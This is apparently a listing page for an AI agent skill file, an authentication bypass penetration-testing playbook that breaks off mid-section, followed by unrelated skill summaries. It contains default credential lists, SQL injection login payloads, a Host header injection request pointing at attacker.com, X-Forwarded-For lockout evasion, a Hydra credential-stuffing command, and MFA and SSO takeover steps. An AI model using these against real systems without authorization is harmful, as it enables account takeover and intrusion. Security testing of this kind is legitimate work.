authbypass-authentication-flaws
Authentication bypass testing playbook. Use when assessing login flows, password reset logic, account recovery, MFA bypass, token predictability, brute-force resistance, and session boundary flaws.
What this skill does
# SKILL: Authentication Bypass — Expert Attack Playbook > **AI LOAD INSTRUCTION**: Expert authentication bypass techniques. Covers SQL injection-based login bypass, password reset flaws, token predictability, account enumeration, brute force bypass, and multi-factor auth bypass. Distinct from JWT/OAuth (covered in ../jwt-oauth-token-attacks/SKILL.md). Focus on the login mechanism itself. ## 0. AUTHORIZED CREDENTIAL TEST PLANNING After reducing routing entries, default credentials, username variants, port focus, and wordlist sizing are handled here in one place. ### Service-first tiny sets | Service Type | First Usernames | First Passwords | |---|---|---| | phpMyAdmin | `root`, `admin` | empty, `root`, `phpmyadmin`, `admin` | | FTP | `ftp`, `admin`, `test` | empty, `ftp`, `admin`, `123456` | | SSH | `root`, `admin`, service account names | `root`, `admin`, seasonal variants | | MySQL | `root`, `mysql` | empty, `root`, `mysql` | | Tomcat / Java admin | `tomcat`, `admin`, `manager` | `tomcat`, `admin`, `s3cret` | | WebLogic | `weblogic`, `admin` | `weblogic`, `welcome1`, `admin` | ### Username classes | Class | Examples | |---|---| | Generic admins | `admin`, `administrator`, `root`, `test`, `guest` | | Support / ops | `dev`, `ops`, `sysadmin`, `service`, `backup` | | Name-based | `firstname`, `lastname`, `f.lastname`, `first.last` | | Mail-derived | left side of corporate email formats | | Product-based | `tomcat`, `weblogic`, `jenkins`, `gitlab` | ### Wordlist sizing and port focus | Scenario | Preferred Size | Why | |---|---|---| | Default admin panel | 5 to 50 passwords | Defaults beat giant lists here | | Internal service with known product | vendor-specific small set | Better signal than generic lists | | Consumer login with weak controls | Top 20 or Top 100 | Fast verification | | Rate-limited login | tiny list + header/rotation strategy | Preserve attempts | | Offline hash cracking | large dictionaries | Online brute rules do not apply | Prioritize common ports and service surfaces: 80/443/8080/8443 admin panels, 22 SSH, 21 FTP, and 3306/5432/6379/27017 data or management services. --- ## 1. SQL INJECTION LOGIN BYPASS Classic but still found in legacy systems, custom ORMs, and raw query code: ```sql -- Basic bypass (admin user assumed first row): Username: admin'-- Password: anything → Query: SELECT * FROM users WHERE user='admin'--' AND pass='anything' -- Generic bypass (logs in as first user in DB): Username: ' OR '1'='1'-- Password: anything → Query: SELECT * FROM users WHERE user='' OR '1'='1'--' AND pass='anything' -- Blind: does this work? Username: ' OR 1=1-- Username: admin' OR 'a'='a Username: 1' OR '1'='1'/* Username: 1 or 1=1 ``` **Test each field separately** — only one field may be vulnerable. --- ## 2. PASSWORD RESET VULNERABILITIES ### Guessable / Predictable Reset Tokens Check if reset token is based on: ``` - Timestamp: token=1691234567890 (Unix time) - Sequential: token=1001, 1002, 1003 - MD5(email): echo -n "[email protected]" | md5sum - MD5(username+timestamp): reversible - Short token (4-6 digits): brute-forceable ``` **Test**: Request 3 consecutive reset emails, compare token patterns. ### Reset Token Not Expiring ``` 1. Request password reset → get token via email 2. Wait 48+ hours (token should expire) 3. Use old token → does it work? ``` ### Reset Token Reuse ``` 1. Request reset → get token T1 2. Complete reset with T1 3. Use T1 again → does it work again? ``` ### Host Header Injection in Reset Email When application generates reset URL using `Host` header: ```http POST /forgot-password HTTP/1.1 Host: attacker.com ← inject attacker's domain Content-Type: application/x-www-form-urlencoded [email protected] ``` → Reset email sent to victim with link pointing to `attacker.com/reset?token=VICTIM_TOKEN` → Victim clicks → token captured by attacker **Test**: Send password reset with modified `Host:`, check email for where reset link points. ### Password Reset Token in Referer ``` 1. Request reset → go to reset URL with token 2. Reset page loads third-party resources (analytics, fonts) → Referer header leaks: https://target.com/reset?token=TOKEN → Third-party server receives token in logs ``` ### Password Change Without Current Password ``` PUT /api/user/password {"new_password": "hacked"} → No current_password field required? → Combine with CSRF for account takeover ``` --- ## 3. ACCOUNT ENUMERATION Identifying valid usernames/emails enables targeted attacks: ### Error Message Difference ``` Invalid username → "User not found" Valid username, wrong pass → "Incorrect password" → Enumerate valid accounts ``` ### Response Time Difference ``` Invalid username → fast response (no DB lookup) Valid username → slightly slower (DB lookup + hash comparison) → Timing oracle ``` ### Password Reset Flow ``` POST /forgot-password {"email": "[email protected]"} → "If this email exists, we sent a reset link" (proper) vs. → "This email is not registered" (enumeration possible) ``` ### Registration Endpoint ``` POST /register {"email": "[email protected]"} → "Email already registered" → confirms account exists vs. → "Verification email sent" for both → no enumeration ``` --- ## 4. BRUTE FORCE BYPASS ### Lockout After N Attempts Then Resets ``` Lockout at 10 attempts → try 9 wrong passwords → lock Wait for reset period (usually 30 min or 1 hour) → Try 9 more → repeat → no permanent lockout ``` ### IP-Based Lockout Bypass ``` X-Forwarded-For: 1.1.1.1 ← change each request X-Real-IP: 2.2.2.2 Rotate through IPs in header ``` ### Username Cycling vs Password Cycling ``` Normal brute: try many passwords for one user → lock Reverse brute: try ONE password for many users → "password123" against all users → find those with weak password → No single account locked out ``` ### Credential Stuffing Use breached credentials from HaveIBeenPwned datasets against target: ```bash # Tools: Hydra, Burp Intruder, custom scripts hydra -C credentials.txt https-post-form://target.com/login:"username=^USER^&password=^PASS^":"error message" ``` --- ## 5. MULTI-FACTOR AUTHENTICATION BYPASS ### Session Cookie Before 2FA Completion ``` Flow: Login (password correct) → redirect to 2FA page → enter code Attack: After password step, session cookie is set but 2FA not yet checked. → Use session cookie to directly access /dashboard → Skip 2FA page entirely ``` ### 2FA Code Brute Force ``` 4-6 digit TOTP codes = 1,000,000 possibilities max If no lockout on 2FA step: → Brute force all codes (tool: Burp Intruder, sequential) → TOTP windows: 30-second window, some accept previous/next window ``` ### 2FA on Critical Actions Not On Login ``` Login doesn't require 2FA, but: DELETE /account or POST /transfer requires 2FA Attack: Is 2FA checked on those actions or only on login? → If only login: log in once → no 2FA needing verification for actions ``` ### 2FA Backup Code Abuse ``` Generate backup codes (usually 8-10 single-use) Test: → Are backup codes rate-limited? → Can backup codes be used multiple times? → Short codes (6-8 chars)? Brute-force if no rate limit ``` ### 2FA Code Reuse ``` TOTP codes valid for one use → Use same TOTP code twice → does second use work? → Replay attack if server doesn't track used codes ``` --- ## 6. OAUTH / SSO ACCOUNT TAKEOVER PATTERNS ### Email Claim Trust ``` 1. Create account at attacker-controlled OAuth provider 2. Set email claim = [email protected] 3. Link/login via that provider → If server trusts email claim without verification → account merge/takeover ``` ### Password Doesn't Apply After SSO Link ``` 1. User links Google SSO 2. User forgets password (account has no password set after SSO only) 3. "Forgot Password" flow → resets password even for SSO-only accounts? → Can set password → now bypass SSO → direct login ``` --- ## 7. USERNAME / PASSWORD FIELD MANIPULATION ### Long Password DoS → Bypass ``` Some apps hash passwords before sending to database. b
Related in General
modeling-omnistudio-epc-catalog
IncludedSalesforce Industries CME EPC product-modeling skill for Product2-based catalog creation. Use when creating EPC products, configuring product attributes, building offer bundles with Product Child Items, or reviewing EPC DataPack JSON metadata for product catalog changes. TRIGGER when: user creates or updates Product2 EPC records, AttributeAssignment payloads, AttributeMetadata/AttributeDefaultValues, Offer bundles, or ProductChildItem relationships. DO NOT TRIGGER when: designing OmniScripts/FlexCards/Integration Procedures (use building-omnistudio-omniscript, building-omnistudio-flexcard, or building-omnistudio-integration-procedure), implementing Apex business logic (use generating-apex), or troubleshooting deployment pipelines (use deploying-metadata).
relationship-science-coach
IncludedUse this skill for direct, practical adult relationship coaching: couples conflict, repair, trust, marriage, dating, flirting, attachment patterns, emotional connection, sex, desire differences, eroticism, kink negotiation, affection, love languages, breakups, and long-term passion. Draw on Gottman, EFT and Hold Me Tight, attachment science, modern sex research, Perel, Nagoski, Kerner, Schnarch, Love and Stosny, and flexible love-language tools. Be concrete and low-hedge. Redirect only for imminent danger, abuse, coercive control, minors, non-consent, self-harm, stalking, or medical/legal/psychiatric decisions.
building-sf-integrations
IncludedSalesforce integration architecture and runtime plumbing with 120-point scoring. Use this skill to set up Named Credentials, External Credentials, External Services, REST/SOAP callout patterns, Platform Events, and Change Data Capture. TRIGGER when: user sets up Named Credentials, External Services, REST/SOAP callouts, Platform Events, CDC, or touches .namedCredential-meta.xml files. DO NOT TRIGGER when: Connected App/OAuth config (use configuring-connected-apps), Apex-only logic (use generating-apex), or data import/export (use handling-sf-data).
venue-templates
IncludedAccess comprehensive LaTeX templates, formatting requirements, and submission guidelines for major scientific publication venues (Nature, Science, PLOS, IEEE, ACM), academic conferences (NeurIPS, ICML, CVPR, CHI), research posters, and grant proposals (NSF, NIH, DOE, DARPA). This skill should be used when preparing manuscripts for journal submission, conference papers, research posters, or grant proposals and need venue-specific formatting requirements and templates.
let-fate-decide
IncludedDraws the 12 Houses of the Zodiac Tarot spread to inject entropy into planning when prompts are vague, ambiguous, or casually delegated. Interprets the spread to guide next steps. Use when the user says 'let fate decide', 'YOLO', 'whatever', 'idk', or other nonchalant phrases, makes Yu-Gi-Oh references, or when you are about to arbitrarily pick between multiple reasonable approaches. Prefer over ask-questions-if-underspecified when the user's tone is casual or playful rather than precision-seeking.
net-ops
IncludedCross-platform network troubleshooting (Windows, macOS, Linux) via local or remote shell. Use for: DNS broken, can't resolve hostnames, nslookup/dig works but apps fail, NRPT, WFP, scutil, /etc/resolver, systemd-resolved, /etc/resolv.conf, NetworkManager, VPN DNS leak residue (ProtonVPN/Mullvad/WireGuard/AnyConnect), AV/firewall blocking DNS or DoH, Tailscale DNS interaction, intermittent connectivity, remote diagnostics over SSH.